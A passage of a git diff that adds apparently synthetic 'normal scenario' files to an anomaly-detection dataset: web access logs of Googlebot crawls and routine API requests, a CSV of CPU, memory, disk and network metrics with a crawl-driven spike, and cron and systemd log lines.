(+http://www.google.com/bot.html)" +Jul 02 12:05:36 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:36 +0000] "GET /products/item/6613 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:37 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:37 +0000] "GET /products/item/5500 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:37 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:37 +0000] "GET /products/item/5397 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:38 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:38 +0000] "GET /products/item/9461 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:38 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:38 +0000] "GET /products/item/8548 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:38 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:38 +0000] "GET /products/item/7571 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:40 +0000] "GET /products/item/3765 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:40 +0000] "GET /products/item/6031 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:40 +0000] "GET /products/item/6930 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:41 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:41 +0000] "GET /products/item/8282 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:41 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:41 +0000] "GET /products/item/4256 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:42 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:42 +0000] "GET /products/item/6434 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:42 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:42 +0000] "GET /products/item/6483 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:42 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:42 +0000] "GET /products/item/4598 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:43 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:43 +0000] "GET /products/item/6986 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:45 +0000] "GET /products/item/7029 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:47 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:47 +0000] "GET /products/item/6634 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:47 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:47 +0000] "GET /products/item/8883 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:48 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:48 +0000] "GET /products/item/4190 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:48 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:48 +0000] "GET /products/item/2315 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:48 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:48 +0000] "GET /products/item/2332 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:48 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:48 +0000] "GET /products/item/4266 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:56 web-app[2233]: 5.234.176.74 - - [02/Jul/2025:12:05:56 +0000] "GET /api/v1/user/85 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:12 web-app[2233]: 197.35.18.109 - - [02/Jul/2025:12:06:12 +0000] "GET /api/v1/user/132 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:18 web-app[2233]: 140.23.143.194 - - [02/Jul/2025:12:06:18 +0000] "GET /api/v1/user/99 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:27 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:30 web-app[2233]: 238.167.233.140 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/user/60 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:36 web-app[2233]: 59.192.154.34 - - [02/Jul/2025:12:06:36 +0000] "GET /api/v1/user/116 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:41 web-app[2233]: 222.183.109.24 - - [02/Jul/2025:12:06:41 +0000] "GET /api/v1/user/116 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:51 web-app[2233]: 239.204.102.179 - - [02/Jul/2025:12:06:51 +0000] "GET /api/v1/user/105 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:16 web-app[2233]: 247.240.28.158 - - [02/Jul/2025:12:07:16 +0000] "GET /api/v1/user/76 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:28 web-app[2233]: 75.243.121.190 - - [02/Jul/2025:12:07:28 +0000] "GET /api/v1/user/68 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_11.csv b/norm_dataset/scenario_8/norm_8_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e8f5741711648cc49a2a65a065cbc32922004a9 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.83,41.0,31.23,1.77,2.19 +2025-07-02T12:00:05Z,15.8,39.5,38.3,1.33,2.51 +2025-07-02T12:00:10Z,10.09,38.09,36.6,1.26,2.94 +2025-07-02T12:00:15Z,16.29,39.62,33.74,1.07,2.08 +2025-07-02T12:00:20Z,14.82,37.01,37.5,1.79,2.26 +2025-07-02T12:00:25Z,12.09,44.35,28.62,1.9,1.9 +2025-07-02T12:00:30Z,17.69,39.77,32.71,1.73,1.67 +2025-07-02T12:00:35Z,11.04,41.32,23.84,1.79,2.68 +2025-07-02T12:00:40Z,11.53,42.06,39.58,1.78,1.14 +2025-07-02T12:00:45Z,15.74,43.75,24.63,1.4,1.33 +2025-07-02T12:00:50Z,10.73,38.12,30.45,1.93,2.38 +2025-07-02T12:00:55Z,10.98,40.08,23.45,1.59,1.57 +2025-07-02T12:01:00Z,16.51,42.17,23.27,1.59,2.2 +2025-07-02T12:01:05Z,14.08,43.43,32.5,1.98,1.05 +2025-07-02T12:01:10Z,17.88,43.62,21.44,1.32,1.59 +2025-07-02T12:01:15Z,18.62,39.83,28.92,1.76,2.64 +2025-07-02T12:01:20Z,18.36,43.45,22.63,1.68,2.86 +2025-07-02T12:01:25Z,17.38,35.72,24.73,1.22,1.87 +2025-07-02T12:01:30Z,12.72,37.16,21.17,1.48,1.67 +2025-07-02T12:01:35Z,13.28,35.45,33.78,1.63,1.34 +2025-07-02T12:01:40Z,11.66,44.7,25.87,1.9,2.93 +2025-07-02T12:01:45Z,14.2,35.1,21.16,1.31,1.98 +2025-07-02T12:01:50Z,17.21,40.55,27.01,1.29,2.91 +2025-07-02T12:01:55Z,13.63,40.98,26.97,1.82,2.94 +2025-07-02T12:02:00Z,18.74,40.48,31.63,1.55,1.32 +2025-07-02T12:02:05Z,15.1,41.27,35.12,1.18,1.13 +2025-07-02T12:02:10Z,15.05,39.89,28.07,1.64,2.3 +2025-07-02T12:02:15Z,16.41,42.65,21.13,1.91,1.14 +2025-07-02T12:02:20Z,15.46,39.55,23.27,1.41,1.19 +2025-07-02T12:02:25Z,19.63,39.29,28.06,1.02,1.81 +2025-07-02T12:02:30Z,92.22,41.55,123.71,5.27,16.63 +2025-07-02T12:02:35Z,75.17,46.31,109.94,6.93,15.09 +2025-07-02T12:02:40Z,84.43,48.63,128.01,9.09,15.74 +2025-07-02T12:02:45Z,77.94,40.23,81.2,7.4,18.74 +2025-07-02T12:02:50Z,82.43,42.87,146.31,5.99,19.8 +2025-07-02T12:02:55Z,88.97,43.69,86.14,9.52,16.84 +2025-07-02T12:03:00Z,82.4,43.34,129.81,9.44,16.76 +2025-07-02T12:03:05Z,85.59,46.18,88.06,8.48,10.52 +2025-07-02T12:03:10Z,77.13,46.78,138.0,7.73,14.93 +2025-07-02T12:03:15Z,74.15,43.3,115.03,6.44,14.88 +2025-07-02T12:03:20Z,78.68,43.37,127.86,9.34,13.01 +2025-07-02T12:03:25Z,89.65,40.67,137.87,8.33,16.79 +2025-07-02T12:03:30Z,74.0,47.12,142.35,9.18,18.89 +2025-07-02T12:03:35Z,73.19,41.58,109.28,5.91,10.58 +2025-07-02T12:03:40Z,92.0,44.39,146.45,7.56,10.01 +2025-07-02T12:03:45Z,79.17,41.21,88.36,8.97,13.11 +2025-07-02T12:03:50Z,89.67,41.55,143.47,7.33,12.54 +2025-07-02T12:03:55Z,76.33,43.37,117.08,6.21,10.54 +2025-07-02T12:04:00Z,84.28,49.8,129.63,9.75,18.47 +2025-07-02T12:04:05Z,84.83,45.71,83.71,7.14,19.02 +2025-07-02T12:04:10Z,90.96,40.51,125.83,7.32,18.15 +2025-07-02T12:04:15Z,76.45,42.47,115.19,7.47,10.8 +2025-07-02T12:04:20Z,94.4,48.44,112.99,7.44,14.7 +2025-07-02T12:04:25Z,71.3,46.59,91.1,9.06,10.1 +2025-07-02T12:04:30Z,92.72,43.09,129.13,7.87,17.12 +2025-07-02T12:04:35Z,75.74,47.01,133.11,5.98,16.74 +2025-07-02T12:04:40Z,73.36,48.98,115.57,6.94,11.59 +2025-07-02T12:04:45Z,76.7,47.87,107.18,8.44,11.29 +2025-07-02T12:04:50Z,70.85,43.24,113.58,5.73,11.57 +2025-07-02T12:04:55Z,73.83,46.75,90.99,8.4,17.38 +2025-07-02T12:05:00Z,18.62,44.59,24.87,1.09,2.67 +2025-07-02T12:05:05Z,10.19,40.05,22.42,1.6,2.25 +2025-07-02T12:05:10Z,19.11,40.26,25.3,1.95,2.64 +2025-07-02T12:05:15Z,16.35,37.26,29.8,1.17,2.9 +2025-07-02T12:05:20Z,17.8,37.06,27.17,1.94,2.09 +2025-07-02T12:05:25Z,14.91,36.18,23.55,1.69,2.85 +2025-07-02T12:05:30Z,18.12,35.75,24.66,1.94,1.91 +2025-07-02T12:05:35Z,13.12,37.66,24.38,1.46,2.22 +2025-07-02T12:05:40Z,15.03,44.16,35.95,1.57,1.81 +2025-07-02T12:05:45Z,12.22,42.84,35.14,1.45,1.21 +2025-07-02T12:05:50Z,16.84,40.84,27.03,1.42,2.86 +2025-07-02T12:05:55Z,17.48,39.81,31.13,1.96,1.68 +2025-07-02T12:06:00Z,11.26,42.03,22.28,1.01,1.96 +2025-07-02T12:06:05Z,13.84,37.26,32.0,1.82,2.67 +2025-07-02T12:06:10Z,18.49,43.62,25.01,1.1,2.96 +2025-07-02T12:06:15Z,14.65,38.64,31.61,1.16,2.59 +2025-07-02T12:06:20Z,15.1,42.0,39.93,1.32,2.17 +2025-07-02T12:06:25Z,13.04,40.82,36.33,1.36,1.05 +2025-07-02T12:06:30Z,16.38,44.29,23.52,1.34,2.85 +2025-07-02T12:06:35Z,16.86,37.32,21.82,1.73,2.29 +2025-07-02T12:06:40Z,17.92,43.89,22.97,1.09,1.63 +2025-07-02T12:06:45Z,13.36,37.95,33.28,1.76,1.61 +2025-07-02T12:06:50Z,18.23,40.96,34.4,1.58,2.19 +2025-07-02T12:06:55Z,11.16,44.1,24.52,1.63,1.37 +2025-07-02T12:07:00Z,13.09,36.62,38.4,1.88,2.54 +2025-07-02T12:07:05Z,15.32,36.6,34.29,1.07,2.95 +2025-07-02T12:07:10Z,17.31,36.63,25.51,1.81,1.23 +2025-07-02T12:07:15Z,10.4,35.05,30.44,1.73,1.34 +2025-07-02T12:07:20Z,19.78,41.0,31.23,1.37,1.86 +2025-07-02T12:07:25Z,12.91,38.14,32.6,1.99,1.16 diff --git a/norm_dataset/scenario_8/norm_8_11.log b/norm_dataset/scenario_8/norm_8_11.log new file mode 100644 index 0000000000000000000000000000000000000000..98620016f8f7d078c5b726009ec86ddd06c602dc --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_11.log @@ -0,0 +1,652 @@ +Jul 02 12:00:00 CRON[100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:10 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:20 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:30 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:40 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:50 CRON[1100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:50 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:10 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:20 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 CRON[2100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:50 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:10 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 web-app[1024]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 web-app[1024]: 66.249.66.167 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1024]: 66.249.75.106 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1024]: 66.249.80.141 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1024]: 66.249.88.137 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-app[1024]: 66.249.88.202 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[1024]: 66.249.71.179 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[1024]: 66.249.74.238 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[1024]: 66.249.77.155 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[1024]: 66.249.84.176 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-app[1024]: 66.249.80.160 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-app[1024]: 66.249.85.181 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:32 web-app[1024]: 66.249.93.170 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-app[1024]: 66.249.85.224 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:33 web-app[1024]: 66.249.92.253 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1024]: 66.249.69.77 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1024]: 66.249.85.230 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1024]: 66.249.89.165 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1024]: 66.249.90.247 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:34 web-app[1024]: 66.249.95.131 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1024]: 66.249.67.253 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1024]: 66.249.79.171 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1024]: 66.249.88.246 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-app[1024]: 66.249.88.55 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-app[1024]: 66.249.75.110 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:36 web-app[1024]: 66.249.76.230 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.65.84 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.77.121 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.82.139 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.83.229 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.87.50 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.88.1 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.93.25 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:37 web-app[1024]: 66.249.95.118 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[1024]: 66.249.70.103 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[1024]: 66.249.88.6 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[1024]: 66.249.89.45 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[1024]: 66.249.69.233 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[1024]: 66.249.78.205 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[1024]: 66.249.80.106 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1024]: 66.249.78.19 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1024]: 66.249.80.130 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1024]: 66.249.92.245 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:40 web-app[1024]: 66.249.93.31 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:41 web-app[1024]: 66.249.65.145 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:41 web-app[1024]: 66.249.65.81 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:41 web-app[1024]: 66.249.77.226 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:41 web-app[1024]: 66.249.95.76 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.64.226 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.65.75 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.76.207 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.82.142 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.84.209 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.86.235 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.94.148 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:42 web-app[1024]: 66.249.94.185 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[1024]: 66.249.67.172 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[1024]: 66.249.85.68 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[1024]: 66.249.86.101 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[1024]: 66.249.91.156 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:44 web-app[1024]: 66.249.75.4 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:44 web-app[1024]: 66.249.86.32 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:44 web-app[1024]: 66.249.91.145 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1024]: 66.249.66.2 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1024]: 66.249.70.22 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1024]: 66.249.71.119 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1024]: 66.249.72.252 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:45 web-app[1024]: 66.249.79.22 - "GET /about-us HTTP/1.1" 200 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+Jul 02 12:04:53 web-app[1024]: 66.249.85.217 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:53 web-app[1024]: 66.249.88.40 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[1024]: 66.249.68.227 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[1024]: 66.249.81.154 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[1024]: 66.249.81.200 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:54 web-app[1024]: 66.249.84.254 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.64.91 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.68.83 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.76.80 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.79.142 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.82.24 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.83.125 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[1024]: 66.249.92.198 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1024]: 66.249.69.123 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1024]: 66.249.77.204 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:56 web-app[1024]: 66.249.93.7 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1024]: 66.249.73.103 - "GET /blog/entry-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1024]: 66.249.74.63 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1024]: 66.249.76.54 - "GET /user/profile HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1024]: 66.249.79.118 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:57 web-app[1024]: 